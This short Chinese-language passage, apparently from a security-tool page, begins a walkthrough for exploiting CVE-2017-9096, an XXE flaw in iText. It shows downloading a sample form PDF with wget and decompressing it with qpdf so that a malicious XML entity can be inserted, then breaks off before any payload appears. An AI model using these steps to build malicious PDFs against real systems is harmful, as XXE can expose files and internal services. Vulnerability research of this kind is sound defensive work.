CVE-2017-9096-iText-XXE

CVE-2017-9096 1. 创建包含 XXE 的恶意 PDF 获取包含表单的 PDF： root@kitploit: wget https://www.pdfscripting.com/public/FreeStuff/PDFSamples/ModifySubmitExample.pdf -O input.pdf 解压 PDF 为此，你需要使用 qpdf --qdf --object-streams=disable input.pdf output.pdf 解压 PDF，然后便可以用文本编辑器编辑该 PDF 并添加恶意 XML。 添加外部实体 你可以将 XXE 放入第 77 行的...